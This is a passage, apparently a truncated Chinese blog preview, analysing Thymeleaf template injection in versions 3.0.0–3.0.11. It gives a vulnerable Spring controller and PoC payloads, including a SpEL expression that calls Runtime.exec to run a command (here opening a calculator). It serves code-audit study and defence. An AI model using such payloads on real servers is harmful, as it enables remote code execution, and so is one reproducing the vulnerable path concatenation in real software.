文章预览
拍摄于:烟台大学小树林 Thymeleaf模板注入 最近在研究代码审计,顺便学到了Thymeleaf模板注入 本文主要分析Thymeleaf模板注入的利用和修复,以及各版本的修复方式和绕过方式 Html文件利用 这是目前最常见的利用方式 html> ${} 里面的内容其实是执行的SPEL表达式 后续版本Thymeleaf 添加了沙箱防护机制,限制了一些黑名单类 TemplateName利用 在Thymeleaf 3.0.0 至 3.0.11 版本存在该漏洞 @Controller publicclassThymeleafDemoController{ @GetMapping("/path") publicString path(String path){ return"user/"+ path +"/welcome"; } } 利用poc path=__${6*6}__:: path=__${T(Runtime).getRuntime().exec("open -a calculator.app")}__:: 具体原理就是使用Thymeleaf进行渲染是调用的 ThymeleafView.render() 函数 然后调用的 renderFragment() 函数进行渲染 此时templateName是return回来的值 将 templateName 赋值给 viewTemplateName 然后
………………………………